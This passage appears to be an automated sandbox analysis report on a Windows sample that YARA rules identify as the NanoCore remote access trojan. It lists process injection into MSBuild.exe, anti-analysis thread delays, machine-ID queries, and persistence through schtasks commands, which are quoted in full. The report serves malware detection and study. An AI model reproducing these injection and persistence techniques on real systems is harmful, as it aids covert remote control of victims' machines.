Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\NAO09009009.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Window / User API: threadDelayed 352			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Window / User API: foregroundWindowGot 967			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 1396	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 2172	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe TID: 996	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 5928	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 3732	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_00405C4E CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4E
Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_0040689A FindFirstFileW,FindClose,	0_2_0040689A
Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Code function: 2_2_028411C2 GetSystemInfo,

2_2_028411C2

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: MSBuild.exe, 00000002.00000002.484609991.0000000006110000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: MSBuild.exe, 00000002.00000002.484609991.0000000006110000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: MSBuild.exe, 00000002.00000002.484609991.0000000006110000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: MSBuild.exe, 00000002.00000002.477430879.0000000000C1F000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: MSBuild.exe, 00000002.00000002.484609991.0000000006110000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_10001000 mov eax, dword ptr fs:[00000030h]	0_2_10001000
Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_10001110 mov eax, dword ptr fs:[00000030h]	0_2_10001110
Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_00B43B21 mov eax, dword ptr fs:[00000030h]	0_2_00B43B21
Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_00B4385C mov eax, dword ptr fs:[00000030h]	0_2_00B4385C

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\NAO09009009.exe

Section loaded: unknown target: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe protection: execute and read and write

Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\NAO09009009.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe base: 6DB008

Jump to behavior

Source: C:\Users\user\Desktop\NAO09009009.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 'C:\Users\user\Desktop\NAO09009009.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD89D.tmp'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmpDC18.tmp'	Jump to behavior

Source: MSBuild.exe, 00000002.00000002.482393455.0000000002E0C000.00000004.00000001.sdmp	Binary or memory string: Program Manager
Source: MSBuild.exe, 00000002.00000002.478264802.00000000012D0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: MSBuild.exe, 00000002.00000002.478264802.00000000012D0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: MSBuild.exe, 00000002.00000002.477430879.0000000000C1F000.00000004.00000020.sdmp	Binary or memory string: Program Manager (x86)\DHCP Monitor\dhcpmon.exeBuild.exe
Source: MSBuild.exe, 00000002.00000002.477483077.0000000000C2D000.00000004.00000020.sdmp	Binary or memory string: Program Manageruld be made because the target machine actively refused it.
Source: MSBuild.exe, 00000002.00000002.478264802.00000000012D0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: MSBuild.exe, 00000002.00000002.477243312.0000000000C05000.00000004.00000020.sdmp	Binary or memory string: GrProgram ManagerPd

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Engine\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Engine\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Framework\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Framework\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Engine\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Engine\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Framework\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Framework\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Engine\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Engine\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Engine.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Framework\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Build.Framework\2.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NAO09009009.exe

0_2_004035D8

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NAO09009009.exe PID: 5896, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1240, type: MEMORY
Source: Yara match	File source: 2.2.MSBuild.exe.3bf9c5e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3bfea94.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NAO09009009.exe.b50000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3c030bd.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5724629.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5720000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5720000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NAO09009009.exe.b50000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3bfea94.5.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Detected Nanocore Rat

Show sources

Source: NAO09009009.exe, 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: MSBuild.exe, 00000002.00000002.484138546.0000000005490000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: MSBuild.exe, 00000002.00000002.484138546.0000000005490000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NAO09009009.exe PID: 5896, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 1240, type: MEMORY
Source: Yara match	File source: 2.2.MSBuild.exe.3bf9c5e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3bfea94.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NAO09009009.exe.b50000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.3c030bd.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.5724629.9.raw.unpack, type: UNPACKEDPE
